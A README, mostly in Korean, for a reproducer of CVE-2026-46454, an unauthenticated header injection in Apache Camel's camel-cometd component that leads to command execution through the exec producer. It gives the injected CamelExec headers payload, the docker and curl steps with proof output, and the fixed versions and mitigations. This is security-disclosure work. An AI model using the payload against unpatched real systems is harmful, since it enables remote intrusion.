
Reproducer for CVE-2026-46454 — Apache Camel camel-cometd inbound Bayeux header injection (unauthenticated Camel control-header injection → downstream producer steering / RCE)
이 프로젝트는 Apache Camel의 camel-cometd 컴포넌트에서 메시지 헤더 인젝션을 시연하며, CVE-2026-46454로 추적됩니다. 이 컴포넌트는 인바운드 Bayeux(CometD) 메시지 헤더를 HeaderFilterStrategy 없이 Camel Exchange에 매핑합니다. CometdBinding.createCamelMessage는 CometD 클라이언트가 제공한 ext.CamelHeaders 맵 전체를 Camel 메시지(message.setHeaders(...))에 직접 복사하므로, CamelHttpUri, CamelFileName, CamelJmsDestinationName(또는 여기서처럼 camel-exec 제어 헤더)과 같은 Camel 내부 제어 헤더를 포함한 모든 헤더 이름이 수정 없이 허용됩니다. CometdComponent는 기본적으로 Bayeux SecurityPolicy를 설치하지 않으므로, Bayeux 핸드셰이크를 완료할 수 있는 모든 클라이언트가 인증 없이 이러한 메시지를 게시하고 경로의 다운스트림 프로듀서를 조종할 수 있습니다.
참고: https://camel.apache.org/security/CVE-2026-46454.html
CVE-2025-27636, CVE-2025-29891, CVE-2025-30177, CVE-2026-40453 및 CVE-2026-47323과 동일한 헤더 인젝션 계열 —
Camel네임스페이스를 필터링하지 않고 인바운드 헤더를 Exchange에 매핑하는 컴포넌트들입니다.
// CometdBinding.createCamelMessage(...) - 영향을 받는 4.18.2
Message message = new DefaultMessage(camelContext);
message.setBody(data);
Map<String, Object> headers = getHeadersFromMessage(cometdMessage); // 클라이언트가 제공한 ext.CamelHeaders를 읽음
if (headers != null) {
message.setHeaders(headers); // <-- HeaderFilterStrategy 없음
}
클라이언트가 ext.CamelHeaders를 제어하므로 Exchange에 모든 Camel 제어 헤더를 설정할 수 있습니다. 수정(4.14.8 / 4.18.3 / 4.21.0)은 인바운드 매핑 시 Camel* / camel* 네임스페이스를 대소문자 구분 없이 필터링하는 HeaderFilterStrategy(코드에 오랫동안 TODO로 남아 있었음)를 구현합니다.
from("cometd://0.0.0.0:8088/service/inject")
.to("exec:echo?args=hello"); // 경로 작성자는 단순히 echo hello 실행만 의도
공격자는 ext.CamelHeaders = { CamelExecCommandExecutable: "/usr/bin/touch", CamelExecCommandArgs: "/tmp/pwned" }와 함께 /service/inject에 게시합니다. 바인딩이 이를 Exchange에 매핑하고 exec 프로듀서가 공격자의 명령을 대신 실행합니다.
자체 포함: camel-cometd 소비자는 애플리케이션 내부에 임베디드 Bayeux 서버(포트 8088)를 실행하며, /exploit/attack 엔드포인트가 인증되지 않은 CometD 클라이언트 역할을 합니다.
CVE-2026-46454/
├── pom.xml # camel-cometd + camel-exec 4.18.2; cometd 9.0.0 클라이언트; Jetty 12.1.6 고정
├── Dockerfile
├── docker-compose.yml
├── README.md
└── src/main/
├── java/com/example/
│ ├── Application.java
│ ├── VictimRoute.java # from("cometd://.../service/inject").to("exec:echo")
│ └── ExploitController.java # 공격자 BayeuxClient: 핸드셰이크 + ext.CamelHeaders로 게시
└── resources/
└── application.properties
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
# -> Handshaked (unauthenticated) and published to /service/inject with ext.CamelHeaders = {...}.
# The camel-cometd consumer mapped them onto the Exchange; the exec producer ran the command.
#
# >>> RCE proof — /tmp/pwned exists: true
docker exec cve-2026-46454 ls -la /tmp/pwned
docker compose down
camel-cometd 소비자가 있으며 동작이 Camel 헤더에 의해 제어되는 다운스트림 프로듀서(HTTP 프로듀서 CamelHttpUri, 파일 프로듀서 CamelFileName, JMS 프로듀서 CamelJmsDestinationName, exec 프로듀서 CamelExecCommand* 등)로 연결된 모든 경로. Bayeux 엔드포인트에 대해 핸드셰이크할 수 있는 모든 클라이언트가 이를 인젝션할 수 있으며, 기본적으로 인증이 필요하지 않습니다. 인젝션된 헤더는 내부 direct, seda 및 vm 홉을 통해 유지됩니다.
CometdComponent에 Bayeux SecurityPolicy가 없음(기본값), 따라서 모든 클라이언트가 게시 가능.4.14.8 / 4.18.3 / 4.21.0(CAMEL-23507)으로 업그레이드하십시오. 이 버전에서는 인바운드 매핑 시 클라이언트가 제공한 Camel* / camel* 헤더를 차단하는 HeaderFilterStrategy가 cometd 바인딩에 추가되었습니다.
업그레이드 전까지:
.removeHeaders("Camel*") 및 .removeHeaders("camel*").CometdComponent에 명시적 Bayeux SecurityPolicy를 설치하여 인증된 클라이언트만 게시할 수 있도록 하십시오.이 재현기는 공개적으로 공개되고 수정된 취약점에 대한 보안 연구 및 승인된 테스트 목적으로만 제공됩니다. 명시적 허가 없이 시스템에 사용하지 마십시오.
| 속성 | 값 |
|---|
| 컴포넌트 | camel-cometd |
| 영향을 받는 클래스 | org.apache.camel.component.cometd.CometdBinding#createCamelMessage (message.setHeaders(...)) |
| CWE | CWE-20: 부적절한 입력 검증 |
| 영향 | 인증되지 않은 Camel 제어 헤더 인젝션 → 다운스트림 프로듀서 조종 (여기서는 exec를 통한 RCE) |
| 영향을 받는 버전 | 4.0.0 ~ 4.14.8 미만, 4.15.0 ~ 4.18.3 미만, 4.19.0 ~ 4.21.0 미만 |
| 수정된 버전 | 4.14.8, 4.18.3, 4.21.0 |
| JIRA | CAMEL-23507 |
| 제보자 | Yu Bao (PayPal) |